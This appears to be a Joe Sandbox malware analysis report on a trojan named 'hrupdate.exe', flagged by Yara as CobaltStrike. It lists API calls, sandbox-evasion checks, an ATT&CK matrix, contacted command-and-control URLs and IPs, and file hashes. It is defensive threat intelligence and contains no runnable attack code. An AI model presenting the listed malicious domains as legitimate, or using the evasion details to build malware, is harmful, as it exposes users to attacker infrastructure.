Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hrupdate.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: hrupdate.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: hrupdate.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: hrupdate.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb source: hrupdate.exe
Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb%% source: hrupdate.exe

Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: hrupdate.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046BFCF7 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,FreeLibrary,

0_2_046BFCF7

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F334F0 push cs; iretd	0_3_00F334F4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F338EC push cs; iretd	0_3_00F3392C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F34AD6 push edi; retf	0_3_00F34AE4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F306D4 push cs; iretd	0_3_00F306E0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F32AC5 push cs; iretd	0_3_00F32B0C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F342CB push cs; iretd	0_3_00F342CC
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F34AB8 push cs; iretd	0_3_00F34AC4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F338AF push cs; iretd	0_3_00F338B0
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F32497 push cs; iretd	0_3_00F32498
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F31683 push cs; iretd	0_3_00F31684
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F32077 push cs; iretd	0_3_00F32078
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F33A75 push cs; iretd	0_3_00F33A7C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F32053 push cs; iretd	0_3_00F32054
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F3123C push cs; iretd	0_3_00F312AC
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F33422 push cs; iretd	0_3_00F33428
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F32816 push ds; iretd	0_3_00F3281C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F3161B push cs; iretd	0_3_00F3161C
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F3241F push cs; iretd	0_3_00F32438
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F34403 push cs; iretd	0_3_00F34404
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F307F3 push cs; iretd	0_3_00F307F4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F301F9 push ebp; ret	0_3_00F301FA
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F343DF push cs; iretd	0_3_00F343E4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F31DBE push cs; iretd	0_3_00F31DC8
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F34F77 push cs; iretd	0_3_00F34F78
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F35143 push cs; iretd	0_3_00F35144
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F33B29 push cs; iretd	0_3_00F33B30
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F30710 push cs; iretd	0_3_00F30714
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_006738D6 push ecx; ret	0_2_006738E9
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046AE7C0 push eax; ret	0_2_046AE7C7
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046B1BB1 push ecx; ret	0_2_046B1BC4

Source: C:\Users\user\Desktop\hrupdate.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04697BE7		0_2_04697BE7
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0469CBF1		0_2_0469CBF1

Source: C:\Users\user\Desktop\hrupdate.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-19976

Source: C:\Users\user\Desktop\hrupdate.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-17900
Source: C:\Users\user\Desktop\hrupdate.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-17893

Source: C:\Users\user\Desktop\hrupdate.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_0-18159

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0469CBF1

0_2_0469CBF1

Source: C:\Users\user\Desktop\hrupdate.exe TID: 1076

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0469F544 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_0469F544
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04699839 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_04699839

Source: hrupdate.exe, 00000000.00000003.3567988184.0000000002DDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW1-
Source: hrupdate.exe, 00000000.00000002.3897221347.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567988184.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867908182.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3896833882.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588982597.0000000002DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: hrupdate.exe, 00000000.00000002.3896833882.0000000000B75000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\hrupdate.exe	API call chain: ExitProcess graph end node			graph_0-18161
Source: C:\Users\user\Desktop\hrupdate.exe	API call chain: ExitProcess graph end node			graph_0-18531

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046AE81B LdrInitializeThunk,

0_2_046AE81B

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0067364F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0067364F

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046BFCF7 LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,FreeLibrary,

0_2_046BFCF7

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F3BE95 mov eax, dword ptr fs:[00000030h]		0_3_00F3BE95
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_3_00F3CA68 mov eax, dword ptr fs:[00000030h]		0_3_00F3CA68

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046BFE9D VirtualQuery,GetModuleFileNameW,GetPdbDll,GetProcAddress,GetProcessHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,

0_2_046BFE9D

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0067364F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0067364F
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_00673084 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00673084
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_006737E2 SetUnhandledExceptionFilter,	0_2_006737E2
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046B2CCF _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_046B2CCF
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046B655E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_046B655E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046A43CB LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_046A43CB

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046A459B GetCurrentProcessId,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_046A459B

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0067390E cpuid

0_2_0067390E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: GetLocaleInfoA,

0_2_046BC0B0

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_046988A5 CreateNamedPipeA,

0_2_046988A5

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0067353E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_0067353E

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_00671480 WSAStartup,GetUserNameW,wcstombs_s,memset,strncat,WSACleanup,LoadStringW,LoadStringW,LoadStringW,LoadIconW,LoadIconW,LoadCursorW,LoadIconW,RegisterClassExW,CreateWindowExW,UpdateWindow,LoadIconW,lstrcpyW,Shell_NotifyIconW,LoadAcceleratorsW,GetMessageW,GetMessageW,DialogBoxParamW,TranslateAcceleratorW,TranslateMessage,DispatchMessageW,GetMessageW,terminate,

0_2_00671480

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_0469CCA3 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_0469CCA3

Source: C:\Users\user\Desktop\hrupdate.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 00000000.00000002.3897221347.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.3290133127.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.3290059419.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3897384147.0000000004694000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hrupdate.exe PID: 6664, type: MEMORYSTR

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0469D481 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_0469D481
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_046A4FA4 socket,closesocket,htons,bind,listen,	0_2_046A4FA4
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_0469D39F socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_0469D39F

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	21 Access Token Manipulation	1 Virtualization/Sandbox Evasion	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	21 Access Token Manipulation	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	24 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hrupdate.exe	3%	ReversingLabs
hrupdate.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ec2-3-79-209-76.eu-central-1.compute.amazonaws.com	3.79.209.76	true	true		unknown
www.hrtraining.ro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.flntp.ro/rss/portallogin-gettask.html	true		unknown
www.hrtraining.ro	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.hrtraining.ro/KSSM	hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/P	hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498dummyhttp://www.hrtraining.ro/trakingu/invalid	hrupdate.exe	false	unknown
https://www.hrtraining.r	hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/	hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567988184.0000000002DC0000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3867908182.0000000002DBC000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588982597.0000000002DC2000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.html	hrupdate.exe, 00000000.00000003.3867855312.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trakingu/	hrupdate.exe	false	unknown
http://www.hrtraining.ro/trakingu/useruser	hrupdate.exe, 00000000.00000002.3896775640.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlN	hrupdate.exe, 00000000.00000003.3867908182.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000002.3897221347.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498b	hrupdate.exe, 00000000.00000002.3897320624.00000000044FC000.00000004.00000010.00020000.00000000.sdmp	false	unknown
http://www.hrtraining.ro/trainingcheck_v5498	hrupdate.exe	false	unknown
http://www.hrtraining.ro/trakingu/user	hrupdate.exe, 00000000.00000002.3896775640.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	false	unknown
https://www.hrtraining.ro/rss/portallogin-gettask.htmlxL	hrupdate.exe, 00000000.00000002.3896833882.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3567852375.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp, hrupdate.exe, 00000000.00000003.3588932882.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.79.209.76	ec2-3-79-209-76.eu-central-1.compute.amazonaws.com	United States		16509	AMAZON-02US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578569
Start date and time:	2024-12-19 22:44:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hrupdate.exe
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@1/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 32 Number of non-executed functions: 103
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: hrupdate.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://www.canva.com/design/DAGZxEJMIA0/pFi0b1a1Y78oAGDuII8Hjg/view?utm_content=DAGZxEJMIA0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hdcdec8ed4a	Get hash	malicious	HTMLPhisher	Browse	75.2.57.54
	https://gateway.lighthouse.storage/ipfs/bafkreigjxudfsi54f5pliswxztgujxgpdhe4uyrezdbg5avbtrclxrxc6i	Get hash	malicious	HTMLPhisher	Browse	13.227.8.71
	https://launch.app/prolandtitle	Get hash	malicious	HTMLPhisher	Browse	76.76.21.21
	Employee_Letter.PDFuJPefyDW1j.url	Get hash	malicious	Unknown	Browse	13.227.8.47
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.165.3.192
	6CWcISKhf1.msi	Get hash	malicious	AteraAgent	Browse	13.232.67.198
	https://go.eu.sparkpostmail1.com/f/a/lgobNkIfvQXGgmbryxpFvQ~~/AAGCxAA~/RgRpPCorP0QoaHR0cHM6Ly9iZXJhemVsLmNvbS93ZWxsbmVzcy9zb3V0aC9pbmRleFcFc3BjZXVCCmdVK6VZZ3GvOmFSFmV0aGFubG9nYW40M0BnbWFpbC5jb21YBAAAAAE~#a3RhdHJvZUBob3VzaW5nY2VudGVyLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.227.8.65
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	18.217.199.157
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	65.3.229.89

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	billys.exe	Get hash	malicious	Meduza Stealer	Browse	3.79.209.76
	ruppert.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	3.79.209.76
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	3.79.209.76
	2JSGOlbNym.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	4hSuRTwnWJ.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	QCTYoyX422.dll	Get hash	malicious	Unknown	Browse	3.79.209.76
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	3.79.209.76
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	3.79.209.76
	INVOICE-0098.pdf ... .lnk.lnk.d.lnk	Get hash	malicious	Unknown	Browse	3.79.209.76

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.407559158089781
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hrupdate.exe
File size:	244'224 bytes
MD5:	03b14e9338a1c9e5551f9450207f6d84
SHA1:	f1a816c47637c8d4d0b52b333cba11b0d7571fcb
SHA256:	7a4d2b3e83220df7a55944a838bb9ebaa8f8463cff62fa92ae10e640eeb4e498
SHA512:	2c51fc5272e24ef43d770c7a6ac30252bcd408878405d2f1cf63327a05e497fd6e5fabc54a328ece7c4abe2ee4b1fcd8e9c03cb03bd6d5f0b2d7d6c87848b946
SSDEEP:	1536:MUth9KcBb/v5D8gCHqoPXDO4YcPJnWQyz9999Uh:MUtXNVD8gCPD3L
TLSH:	0C343B43569D7C92CC3C1B38237B97DB832EBE7578C5E08EB9803E9692BD0923512795
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<...].V.].V.].V.%$V.].V.5.W.].V.5.W.].V.5.W.].V.5.W.].V...W.].V.].V:].V$4.W.].V$4HV.].V.] V.].V$4.W.].VRich.].V........PE..L..

File Icon


Icon Hash:	17170f6d2b2d2d13

Static PE Info

General

Entrypoint:	0x40307a
Entrypoint Section:	.text
Digitally signed:	false
